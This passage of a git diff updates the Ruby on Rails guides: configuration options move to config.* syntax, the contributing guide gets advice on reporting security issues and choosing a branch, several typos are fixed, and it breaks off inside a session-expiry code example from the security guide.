will nevertheless take a stab at it: + +* (Fire)Watir +* Selenium +* Celerity/Culerity +* Cucumber+Webrat +* Mention stuff like screw.unit/jsSpec -* Last but not least: Javascript is your friend :) +Note to self: check out the RailsConf JS testing video
\ No newline at end of file diff --git a/railties/guides/source/configuring.textile b/railties/guides/source/configuring.textile index 2711337d43..0e6f981168 100644 --- a/railties/guides/source/configuring.textile +++ b/railties/guides/source/configuring.textile @@ -7,7 +7,6 @@ This guide covers the configuration and initialization features available to Rai endprologue. - h3. Locations for Initialization Code Rails offers (at least) five good spots to place initialization code: @@ -38,31 +37,87 @@ config.active_record.colorize_logging = false Rails will use that particular setting to configure Active Record. +h4. Rails General Configuration + +* +config.routes_configuration_file+ overrides the default path for the routes configuration file. This defaults to +config/routes.rb+. + +* +config.cache_classes+ controls whether or not application classes should be reloaded on each request. + +* +config.cache_store+ configures which cache store to use for Rails caching. Options include +:memory_store+, +:file_store+, +:mem_cache_store+ or the name of your own custom class. + +* +config.controller_paths+ accepts an array of paths that will be searched for controllers. Defaults to +app/controllers+. + +* +config.database_configuration_file+ overrides the default path for the database configuration file. Default to +config/database.yml+. + +* +config.dependency_loading+ enables or disables dependency loading during the request cycle. Setting dependency_loading to _true_ will allow new classes to be loaded during a request and setting it to _false_ will disable this behavior. + +* +config.eager_load_paths+ accepts an array of paths from which Rails will eager load on boot if cache classes is enabled. All elements of this array must also be in +load_paths+. + +* +config.frameworks+ accepts an array of rails framework components that should be loaded. (Defaults to +:active_record+, +:action_controller+, +:action_view+, +:action_mailer+, and +:active_resource+). + +* +config.load_once_paths+ accepts an array of paths from which Rails will automatically load from only once. All elements of this array must also be in +load_paths+. + +* +config.load_paths+ accepts an array of additional paths to prepend to the load path. By default, all app, lib, vendor and mock paths are included in this list. + +* +config.log_level+ defines the verbosity of the Rails logger. In production mode, this defaults to +:info+. In development mode, it defaults to +:debug+. + +* +config.log_path+ overrides the path to the log file to use. Defaults to +log/#{environment}.log+ (e.g. log/development.log or log/production.log). + +* +config.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging. + +* +config.metals+ accepts an array used as the metals to load. If this is set to nil, all metals will be loaded in alphabetical order. If this is set to [], no metals will be loaded. Otherwise metals will be loaded in the order specified + +* +config.plugin_loader+ overrides the class that handles loading each plugin. Defaults to +Rails::Plugin::Loader+. + +* +config.plugin_locators+ overrides the class that handle finding the desired plugins that you‘d like to load for your application. By default it is the +Rails::Plugin::FileSystemLocator+. + +* +config.plugin_paths+ overrides the path to the root of the plugins directory. Defaults to +vendor/plugins+. + +* +config.plugins+ accepts the list of plugins to load. If this is set to nil, all plugins will be loaded. If this is set to [], no plugins will be loaded. Otherwise, plugins will be loaded in the order specified. + +* +config.preload_frameworks+ enables or disables preloading all frameworks at startup. + +* +config.reload_plugins+ enables or disables plugin reloading. + +* +config.root_path+ configures the root path of the application. + +* +config.time_zone+ sets the default time zone for the application and enables time zone awareness for Active Record. + +* +config.view_path+ sets the path of the root of an application's views. Defaults to +app/views+. + +* +config.whiny_nils+ enables or disabled warnings when an methods of nil are invoked. Defaults to _false_. + +h4. Configuring i18n + +* +config.i18n.default_locale+ sets the default locale of an application used for i18n. Defaults to +:en+. + +* +config.i18n.load_path+ sets the path Rails uses to look for locale files. Defaults to +config/locales/*.{yml,rb}+ + h4. Configuring Active Record -<tt>ActiveRecord::Base</tt> includes a variety of configuration options: +<tt>config.active_record</tt> includes a variety of configuration options: -* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8.x Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an ActiveRecord model class or an ActiveRecord model instance. Set to nil to disable logging. +* +config.active_record.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8.x Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an Active Record model class or an Active Record model instance. Set to nil to disable logging. -* +primary_key_prefix_type+ lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named +id+ (and this configuration option doesn't need to be set.) There are two other choices: +* +config.active_record.primary_key_prefix_type+ lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named +id+ (and this configuration option doesn't need to be set.) There are two other choices: ** +:table_name+ would make the primary key for the Customer class +customerid+ ** +:table_name_with_underscore+ would make the primary key for the Customer class +customer_id+ -* +table_name_prefix+ lets you set a global string to be prepended to table names. If you set this to +northwest_+, then the Customer class will look for +northwest_customers+ as its table. The default is an empty string. +* +config.active_record.table_name_prefix+ lets you set a global string to be prepended to table names. If you set this to +northwest_+, then the Customer class will look for +northwest_customers+ as its table. The default is an empty string. -* +table_name_suffix+ lets you set a global string to be appended to table names. If you set this to +_northwest+, then the Customer class will look for +customers_northwest+ as its table. The default is an empty string. +* +config.active_record.table_name_suffix+ lets you set a global string to be appended to table names. If you set this to +_northwest+, then the Customer class will look for +customers_northwest+ as its table. The default is an empty string. -* +pluralize_table_names+ specifies whether Rails will look for singular or plural table names in the database. If set to +true+ (the default), then the Customer class will use the +customers+ table. If set to +false+, then the Customers class will use the +customer+ table. +* +config.active_record.pluralize_table_names+ specifies whether Rails will look for singular or plural table names in the database. If set to +true+ (the default), then the Customer class will use the +customers+ table. If set to +false+, then the Customers class will use the +customer+ table. -* +colorize_logging+ (true by default) specifies whether or not to use ANSI color codes when logging information from ActiveRecord. +* +config.active_record.colorize_logging+ (true by default) specifies whether or not to use ANSI color codes when logging information from ActiveRecord. -* +default_timezone+ determines whether to use +Time.local+ (if set to +:local+) or +Time.utc+ (if set to +:utc+) when pulling dates and times from the database. The default is +:local+. +* +config.active_record.default_timezone+ determines whether to use +Time.local+ (if set to +:local+) or +Time.utc+ (if set to +:utc+) when pulling dates and times from the database. The default is +:local+. -* +schema_format+ controls the format for dumping the database schema to a file. The options are +:ruby+ (the default) for a database-independent version that depends on migrations, or +:sql+ for a set of (potentially database-dependent) SQL statements. +* +config.active_record.schema_format+ controls the format for dumping the database schema to a file. The options are +:ruby+ (the default) for a database-independent version that depends on migrations, or +:sql+ for a set of (potentially database-dependent) SQL statements. -* +timestamped_migrations+ controls whether migrations are numbered with serial integers or with timestamps. The default is +true+, to use timestamps, which are preferred if there are multiple developers working on the same application. +* +config.active_record.timestamped_migrations+ controls whether migrations are numbered with serial integers or with timestamps. The default is +true+, to use timestamps, which are preferred if there are multiple developers working on the same application. -* +lock_optimistically+ controls whether ActiveRecord will use optimistic locking. By default this is +true+. +* +config.active_record.lock_optimistically+ controls whether ActiveRecord will use optimistic locking. By default this is +true+. The MySQL adapter adds one additional configuration option: @@ -70,79 +125,81 @@ The MySQL adapter adds one additional configuration option: The schema dumper adds one additional configuration option: -* +ActiveRecord::SchemaDumper.ignore_tables+ accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless +ActiveRecord::Base.schema_format == :ruby+. +* +ActiveRecord::SchemaDumper.ignore_tables+ accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless +config.active_record.schema_format == :ruby+. h4. Configuring Action Controller -<tt>ActionController::Base</tt> includes a number of configuration settings: +<tt>config.action_controller</tt> includes a number of configuration settings: -* +asset_host+ provides a string that is prepended to all of the URL-generating helpers in +AssetHelper+. This is designed to allow moving all javascript, CSS, and image files to a separate asset host. +* +config.action_controller.asset_host+ provides a string that is prepended to all of the URL-generating helpers in +AssetHelper+. This is designed to allow moving all javascript, CSS, and image files to a separate asset host. -* +consider_all_requests_local+ is generally set to +true+ during development and +false+ during production; if it is set to +true+, then any error will cause detailed debugging information to be dumped in the HTTP response. For finer-grained control, set this to +false+ and implement +local_request?+ to specify which requests should provide debugging information on errors. +* +config.action_controller.consider_all_requests_local+ is generally set to +true+ during development and +false+ during production; if it is set to +true+, then any error will cause detailed debugging information to be dumped in the HTTP response. For finer-grained control, set this to +false+ and implement +local_request?+ to specify which requests should provide debugging information on errors. -* +allow_concurrency+ should be set to +true+ to allow concurrent (threadsafe) action processing. Set to +false+ by default. You probably don't want to call this one directly, though, because a series of other adjustments need to be made for threadsafe mode to work properly. Instead, you should simply call +config.threadsafe!+ inside your +production.rb+ file, which makes all the necessary adjustments. +* +config.action_controller.allow_concurrency+ should be set to +true+ to allow concurrent (threadsafe) action processing. Set to +false+ by default. You probably don't want to call this one directly, though, because a series of other adjustments need to be made for threadsafe mode to work properly. Instead, you should simply call +config.threadsafe!+ inside your +production.rb+ file, which makes all the necessary adjustments. WARNING: Threadsafe operation in incompatible with the normal workings of development mode Rails. In particular, automatic dependency loading and class reloading are automatically disabled when you call +config.threadsafe!+. -* +param_parsers+ provides an array of handlers that can extract information from incoming HTTP requests and add it to the +params+ hash. By default, parsers for multipart forms, URL-encoded forms, XML, and JSON are active. +* +config.action_controller.param_parsers+ provides an array of handlers that can extract information from incoming HTTP requests and add it to the +params+ hash. By default, parsers for multipart forms, URL-encoded forms, XML, and JSON are active. + +* +config.action_controller.default_charset+ specifies the default character set for all renders. The default is "utf-8". -* +default_charset+ specifies the default character set for all renders. The default is "utf-8". +* +config.action_controller.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging. -* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging. +* +config.action_controller.resource_action_separator+ gives the token to be used between resources and actions when building or interpreting RESTful URLs. By default, this is "/". -* +resource_action_separator+ gives the token to be used between resources and actions when building or interpreting RESTful URLs. By default, this is "/". +* +config.action_controller.resource_path_names+ is a hash of default names for several RESTful actions. By default, the new action is named +new+ and the edit action is named +edit+. -* +resource_path_names+ is a hash of default names for several RESTful actions. By default, the new action is named +new+ and the edit action is named +edit+. +* +config.action_controller.request_forgery_protection_token+ sets the token parameter name for RequestForgery. Calling +protect_from_forgery+ sets it to +:authenticity_token+ by default. -* +request_forgery_protection_token+ sets the token parameter name for RequestForgery. Calling +protect_from_forgery+ sets it to +:authenticity_token+ by default. +* +config.action_controller.optimise_named_routes+ turns on some optimizations in generating the routing table. It is set to +true+ by default. -* +optimise_named_routes+ turns on some optimizations in generating the routing table. It is set to +true+ by default. +* +config.action_controller.use_accept_header+ sets the rules for determining the response format. If this is set to +true+ (the default) then +respond_to+ and +Request#format+ will take the Accept header into account. If it is set to false then the request format will be determined solely by examining +params[:format]+. If there is no +format+ parameter, then the response format will be either HTML or Javascript depending on whether the request is an AJAX request. -* +use_accept_header+ sets the rules for determining the response format. If this is set to +true+ (the default) then +respond_to+ and +Request#format+ will take the Accept header into account. If it is set to false then the request format will be determined solely by examining +params[:format]+. If there is no +format+ parameter, then the response format will be either HTML or Javascript depending on whether the request is an AJAX request. +* +config.action_controller.allow_forgery_protection+ enables or disables CSRF protection. By default this is +false+ in test mode and +true+ in all other modes. -* +allow_forgery_protection+ enables or disables CSRF protection. By default this is +false+ in test mode and +true+ in all other modes. +* +config.action_controller.relative_url_root+ can be used to tell Rails that you are deploying to a subdirectory. The default is +ENV['RAILS_RELATIVE_URL_ROOT']+. -* +relative_url_root+ can be used to tell Rails that you are deploying to a subdirectory. The default is +ENV['RAILS_RELATIVE_URL_ROOT']+. +* +config.action_controller.session_store+ sets the name of the store for session data. The default is +:cookie_store+; other valid options include +:active_record_store+, +:mem_cache_store+ or the name of your own custom class. The caching code adds two additional settings: -* +ActionController::Caching::Pages.page_cache_directory+ sets the directory where Rails will create cached pages for your web server. The default is +Rails.public_path+ (which is usually set to +RAILS_ROOT + "/public"+). +* +ActionController::Base.page_cache_directory+ sets the directory where Rails will create cached pages for your web server. The default is +Rails.public_path+ (which is usually set to +RAILS_ROOT + "/public"+). -* +ActionController::Caching::Pages.page_cache_extension+ sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is +.html+. +* +ActionController::Base.page_cache_extension+ sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is +.html+. -The dispatcher includes one setting: +The Active Record session store can also be configured: -* +ActionController::Dispatcher.error_file_path+ gives the path where Rails will look for error files such as +404.html+. The default is +Rails.public_path+. +* +ActiveRecord::SessionStore::Session.table_name+ sets the name of the table uses to store sessions. Defaults to +sessions+. -The Active Record session store can also be configured: +* +ActiveRecord::SessionStore::Session.primary_key+ sets the name of the ID column uses in the sessions table. Defaults to +session_id+. -* +CGI::Session::ActiveRecordStore::Session.data_column_name+ sets the name of the column to use to store session data. By default it is 'data' +* +ActiveRecord::SessionStore::Session.data_column_name+ sets the name of the column which stores marshaled session data. Defaults to +data+. h4. Configuring Action View There are only a few configuration options for Action View, starting with four on +ActionView::Base+: -* +debug_rjs+ specifies whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it). The default is +false+. +* +config.action_view.debug_rjs+ specifies whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it). The default is +false+. -* +warn_cache_misses+ tells Rails to display a warning whenever an action results in a cache miss on your view paths. The default is +false+. +* +config.action_view.warn_cache_misses+ tells Rails to display a warning whenever an action results in a cache miss on your view paths. The default is +false+. -* +field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is <tt>Proc.new{ |html_tag, instance| "<div class=\"fieldWithErrors\">#{html_tag}</div>" }</tt> +* +config.action_view.field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is <tt>Proc.new{ |html_tag, instance| "<div class=\"fieldWithErrors\">#{html_tag}</div>" }</tt> -* +default_form_builder+ tells Rails which form builder to use by default. The default is +ActionView::Helpers::FormBuilder+. +* +config.action_view.default_form_builder+ tells Rails which form builder to use by default. The default is +ActionView::Helpers::FormBuilder+. -The ERB template handler supplies one additional option: +* +config.action_view.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging. -* +ActionView::TemplateHandlers::ERB.erb_trim_mode+ gives the trim mode to be used by ERB. It defaults to +'-'+. See the "ERB documentation":http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/ for more information. +* +config.action_view.erb_trim_mode+ gives the trim mode to be used by ERB. It defaults to +'-'+. See the "ERB documentation":http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/ for more information. h4. Configuring Action Mailer -There are a number of settings available on +ActionMailer::Base+: +There are a number of settings available on +config.action_mailer+: -* +template_root+ gives the root folder for Action Mailer templates. +* +config.action_mailer.template_root+ gives the root folder for Action Mailer templates. -* +logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging. +* +config.action_mailer.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging. -* +smtp_settings+ allows detailed configuration for the +:smtp+ delivery method. It accepts a hash of options, which can include any of these options: +* +config.action_mailer.smtp_settings+ allows detailed configuration for the +:smtp+ delivery method. It accepts a hash of options, which can include any of these options: ** +:address+ - Allows you to use a remote mail server. Just change it from its default "localhost" setting. ** +:port+ - On the off chance that your mail server doesn't run on port 25, you can change it. ** +:domain+ - If you need to specify a HELO domain, you can do it here. @@ -150,48 +207,46 @@ There are a number of settings available on +ActionMailer::Base+: ** +:password+ - If your mail server requires authentication, set the password in this setting. ** +:authentication+ - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of +:plain+, +:login+, +:cram_md5+. -* +sendmail_settings+ allows detailed configuration for the +sendmail+ delivery method. It accepts a hash of options, which can include any of these options: +* +config.action_mailer.sendmail_settings+ allows detailed configuration for the +sendmail+ delivery method. It accepts a hash of options, which can include any of these options: ** +:location+ - The location of the sendmail executable. Defaults to +/usr/sbin/sendmail+. ** +:arguments+ - The command line arguments. Defaults to +-i -t+. -* +raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to +true+. +* +config.action_mailer.raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to +true+. -* +delivery_method+ defines the delivery method. The allowed values are +:smtp+ (default), +:sendmail+, and +:test+. +* +config.action_mailer.delivery_method+ defines the delivery method. The allowed values are +:smtp+ (default), +:sendmail+, and +:test+. -* +perform_deliveries+ specifies whether mail will actually be delivered. By default this is +true+; it can be convenient to set it to +false+ for testing. +* +config.action_mailer.perform_deliveries+ specifies whether mail will actually be delivered. By default this is +true+; it can be convenient to set it to +false+ for testing. -* +default_charset+ tells Action Mailer which character set to use for the body and for encoding the subject. It defaults to +utf-8+. +* +config.action_mailer.default_charset+ tells Action Mailer which character set to use for the body and for encoding the subject. It defaults to +utf-8+. -* +default_content_type+ specifies the default content type used for the main part of the message. It defaults to "text/plain" +* +config.action_mailer.default_content_type+ specifies the default content type used for the main part of the message. It defaults to "text/plain" -* +default_mime_version+ is the default MIME version for the message. It defaults to +1.0+. +* +config.action_mailer.default_mime_version+ is the default MIME version for the message. It defaults to +1.0+. -* +default_implicit_parts_order+ - When a message is built implicitly (i.e. multiple parts are assembled from templates +* +config.action_mailer.default_implicit_parts_order+ - When a message is built implicitly (i.e. multiple parts are assembled from templates which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to +["text/html", "text/enriched", "text/plain"]+. Items that appear first in the array have higher priority in the mail client and appear last in the mime encoded message. h4. Configuring Active Resource -There is a single configuration setting available on +ActiveResource::Base+: +There is a single configuration setting available on +config.active_resource+: -<tt>logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Active Resource. Set to nil to disable logging. +* +config.active_resource.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Active Resource. Set to nil to disable logging. h4. Configuring Active Support There are a few configuration options available in Active Support: +* +config.active_support.escape_html_entities_in_json+ enables or disables the escaping of HTML entities in JSON serialization. Defaults to _true_. + +* +config.active_support.use_standard_json_time_format+ enables or disables serializing dates to ISO 8601 format. Defaults to _false_. + * +ActiveSupport::BufferedLogger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+. * +ActiveSupport::Cache::Store.logger+ specifies the logger to use within cache store operations. * +ActiveSupport::Logger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+. -h4. Configuring Active Model - -Active Model currently has a single configuration setting: - -* +ActiveModel::Errors.default_error_messages+ is an array containing all of the validation error messages. - h3. Using Initializers After it loads the framework plus any gems and plugins in your application, Rails turns to loading initializers. An initializer is any file of ruby code stored under +config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and plugins are loaded. @@ -230,5 +285,6 @@ h3. Changelog "Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/28 +* August 13, 2009: Updated with config syntax and added general configuration options by "John Pignata" * January 3, 2009: First reasonably complete draft by "Mike Gunderloy":credits.html#mgunderloy * November 5, 2008: Rough outline by "Mike Gunderloy":credits.html#mgunderloy diff --git a/railties/guides/source/contributing_to_rails.textile b/railties/guides/source/contributing_to_rails.textile index a5912643c0..7a35076dd3 100644 --- a/railties/guides/source/contributing_to_rails.textile +++ b/railties/guides/source/contributing_to_rails.textile @@ -14,7 +14,7 @@ endprologue. h3. Reporting a Rails Issue -Rails uses a "Lighthouse project":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/ to track issues (primarily bugs and contributions of new code). If you've found a bug in Rails, this is the place to start. +Rails uses a "Lighthouse project":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/ to track issues (primarily bugs and contributions of new code). If you've found a bug in Rails, this is the place to start. You'll need to create a (free) Lighthouse account in order to comment on issues or to upload tests or patches. NOTE: Bugs in the most recent released version of Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this Guide you'll find out how to get edge Rails for testing. @@ -32,6 +32,10 @@ h4. Special Treatment for Security Issues If you've found a security vulnerability in Rails, please do *not* report it via a Lighthouse ticket. Lighthouse tickets are public as soon as they are entered. Instead, you should use the dedicated email address "security@rubyonrails.org":mailto:security@rubyonrails.org to report any vulnerabilities. This alias is monitored and the core team will work with you to quickly and completely address any such vulnerabilities. +WARNING: Just to emphasize the point, _please do not report security vulnerabilities on public Lighthouse tickets_. This will only expose your fellow Rails developers to needless risks. + +You should receive an acknowledgement and detailed response to any reported security issue within 48 hours. If you don't think you're getting adequate response from the security alias, refer to the "Rails security policy page":http://rubyonrails.org/security for direct emails for the current Rails security coordinators. + h4. What About Feature Requests? Please don't put "feature request" tickets into Lighthouse. If there's a new feature that you want to see added to Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Rails. If you enter a wishlist item in Lighthouse with no code, you can expect it to be marked "invalid" as soon as it's reviewed. @@ -47,6 +51,7 @@ Rails uses git for source code control. You won’t be able to do anything witho * "Everyday Git":http://www.kernel.org/pub/software/scm/git/docs/everyday.html will teach you just enough about git to get by. * The "PeepCode screencast":https://peepcode.com/products/git on git ($9) is easier to follow. * "GitHub":http://github.com/guides/home offers links to a variety of git resources. +* "Pro Git":http://progit.org/book/ is an entire book about git with a Creative Commons license. h4. Get the Rails Source Code @@ -57,9 +62,25 @@ git clone git://github.com/rails/rails.git cd rails </shell> +h4. Pick a Branch + +Currently, there is active work being done on both the 2-3-stable branch of Rails and on the master branch (which will become Rails 3.0). If you want to work with the master branch, you're all set. To work with 2.3, you'll need to set up and switch to your own local tracking branch: + +<shell> +git branch --track 2-3-stable origin/2-3-stable +git checkout 2-3-stable +</shell> + +TIP: You may want to "put your git branch name in your shell prompt":http://github.com/guides/put-your-git-branch-name-in-your-shell-prompt to make it easier to remember which version of the code you're working with. + h4. Set up and Run the Tests -All of the Rails tests must pass with any code you submit, otherwise you have no chance of getting code accepted. This means you need to be able to run the tests. For the tests that touch the database, this means creating the databases. If you're using MySQL: +All of the Rails tests must pass with any code you submit, otherwise you have no chance of getting code accepted. This means you need to be able to run the tests. Rails needs the +mocha+ gem for running some tests, so install it with: +<shell> +gem install mocha +</shell> + +For the tests that touch the database, this means creating the databases. If you're using MySQL: <shell> mysql> create database activerecord_unittest; @@ -79,11 +100,11 @@ rake test_sqlite3 rake test_sqlite3 TEST=test/cases/validations_test.rb </shell> -You can change +sqlite3+ with +jdbcmysql+, +jdbcsqlite3+, +jdbcpostgresql+, +mysql+ or +postgresql+. Check out the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/ci_build.rb+ to see the test suite that the Rails continuous integration server runs. +You can replace +sqlite3+ with +jdbcmysql+, +jdbcsqlite3+, +jdbcpostgresql+, +mysql+ or +postgresql+. Check out the file +activerecord/RUNNING_UNIT_TESTS+ for information on running more targeted database tests, or the file +ci/ci_build.rb+ to see the test suite that the Rails continuous integration server runs. -NOTE: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, SQLite 2, and SQLite 3. Subtle differences between the various Active Record database adapters have been behind the rejection of many patches that looked OK when tested only against MySQL. +NOTE: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite 3. Subtle differences between the various Active Record database adapters have been behind the rejection of many patches that looked OK when tested only against MySQL. h3. Helping to Resolve Existing Issues @@ -110,7 +131,7 @@ git checkout -b testing_branch Then you can apply their patch: <shell> -git am < their-patch-file.diff +git apply their-patch-file.diff </shell> After applying a patch, test it out! Here are some things to think about: @@ -132,7 +153,7 @@ h3. Contributing to the Rails Documentation Another area where you can help out if you're not yet ready to take the plunge to writing Rails core code is with Rails documentation. You can help with the Rails Guides or the Rails API documentation. -TIP: "docrails":http://github.com/lifo/docrails/tree/master is the documentation branch for Rails with an *open commit policy*. You can simply PM "lifo":http://github.com/lifo on Github and ask for the commit rights. Documentation changes made as part of the "docrails":http://github.com/lifo/docrails/tree/master project, are merged back to the Rails master code from time to time. Check out the "original announcement":http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch for more details. +TIP: "docrails":http://github.com/lifo/docrails/tree/master is the documentation branch for Rails with an *open commit policy*. You can simply PM "lifo":http://github.com/lifo on Github and ask for the commit rights. Documentation changes made as part of the "docrails":http://github.com/lifo/docrails/tree/master project are merged back to the Rails master code from time to time. Check out the "original announcement":http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch for more details. h4. The Rails Guides @@ -188,6 +209,8 @@ h4. Sanity Check You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what you’re doing and ask for feedback. Doing this in private before you push a patch out publicly is the “smoke test” for a patch: if you can’t convince one other developer of the beauty of your code, you’re unlikely to convince the core team either. +You might also want to check out the "RailsBridge BugMash":http://wiki.railsbridge.org/projects/railsbridge/wiki/BugMash as a way to get involved in a group effort to improve Rails. This can help you get started and help check your code when you're writing your first patches. + h4. Commit Your Changes When you're happy with the code on your computer, you need to commit the changes to git: @@ -243,6 +266,7 @@ h3. Changelog "Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/64 +* August 1, 2009: Updates/amplifications by "Mike Gunderloy":credits.html#mgunderloy * March 2, 2009: Initial draft by "Mike Gunderloy":credits.html#mgunderloy diff --git a/railties/guides/source/credits.erb.textile b/railties/guides/source/credits.textile.erb index 49e390908f..49e390908f 100644 --- a/railties/guides/source/credits.erb.textile +++ b/railties/guides/source/credits.textile.erb diff --git a/railties/guides/source/debugging_rails_applications.textile b/railties/guides/source/debugging_rails_applications.textile index 9c0f22724e..94411a560e 100644 --- a/railties/guides/source/debugging_rails_applications.textile +++ b/railties/guides/source/debugging_rails_applications.textile @@ -330,7 +330,7 @@ h4. The Context When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack. -ruby-debug creates a content when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped. +ruby-debug creates a context when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped. At any time you can call the +backtrace+ command (or its alias +where+) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then +backtrace+ will supply the answer. diff --git a/railties/guides/source/getting_started.textile b/railties/guides/source/getting_started.textile index 5c05648f12..8abc9d2a47 100644 --- a/railties/guides/source/getting_started.textile +++ b/railties/guides/source/getting_started.textile @@ -23,7 +23,7 @@ It is highly recommended that you *familiarize yourself with Ruby before diving * "Mr. Neighborly's Humble Little Ruby Book":http://www.humblelittlerubybook.com * "Programming Ruby":http://www.rubycentral.com/book -* "Why's (Poignant) Guide to Ruby":http://poignantguide.net/ruby/ +* "Why's (Poignant) Guide to Ruby":http://mislav.uniqpath.com/poignant-guide/ h3. What is Rails? @@ -51,7 +51,7 @@ A model represents the information (data) of the application and the rules to ma h5. Views -Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that performs tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application. +Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that perform tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application. h5. Controllers @@ -1052,7 +1052,7 @@ This creates a new +Comment+ object _and_ sets up the +post_id+ field to have th h4. Building Views -Because you skipped scaffolding, you'll need to build views for comments "by hand." Invoking +script/generate controller+ will give you skeleton views, but they'll be devoid of actual content. Here's a first pass at fleshing out the comment views. +Because you skipped scaffolding, you'll need to build views for comments "by hand". Invoking +script/generate controller+ will give you skeleton views, but they'll be devoid of actual content. Here's a first pass at fleshing out the comment views. The +views/comments/index.html.erb+ view: diff --git a/railties/guides/source/index.erb.textile b/railties/guides/source/index.textile.erb index 851d91da2f..851d91da2f 100644 --- a/railties/guides/source/index.erb.textile +++ b/railties/guides/source/index.textile.erb diff --git a/railties/guides/source/rails_on_rack.textile b/railties/guides/source/rails_on_rack.textile index 1ad45f1cca..df93580e89 100644 --- a/railties/guides/source/rails_on_rack.textile +++ b/railties/guides/source/rails_on_rack.textile @@ -68,7 +68,7 @@ run ActionController::Dispatcher.new And start the server: <shell> -[lifo@null application]$ rackup +[lifo@null application]$ rackup config.ru </shell> To find out more about different +rackup+ options: diff --git a/railties/guides/source/security.textile b/railties/guides/source/security.textile index c26bea5519..ecf68b56f9 100644 --- a/railties/guides/source/security.textile +++ b/railties/guides/source/security.textile @@ -149,26 +149,24 @@ h4. Session Expiry -- _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._ -One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _(highlight)expire sessions in a database table_. Call +Session.sweep("20m")+ to expire sessions that were used longer than 20 minutes ago. +One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _(highlight)expire sessions in a database table_. Call +Session.sweep("20 minutes")+ to expire sessions that were used longer than 20 minutes ago. <ruby> class Session < ActiveRecord::Base - def self.sweep(time_ago = nil) -
time = case time_ago -
when /^(\d+)m$/ then Time.now - $1.to_i.minute -
when /^(\d+)h$/ then Time.now - $1.to_i.hour -
when /^(\d+)d$/ then Time.now - $1.to_i.day -
else Time.now - 1.hour -
end -
self.delete_all "updated_at < '#{time.to_s(:db)}'" -
end -
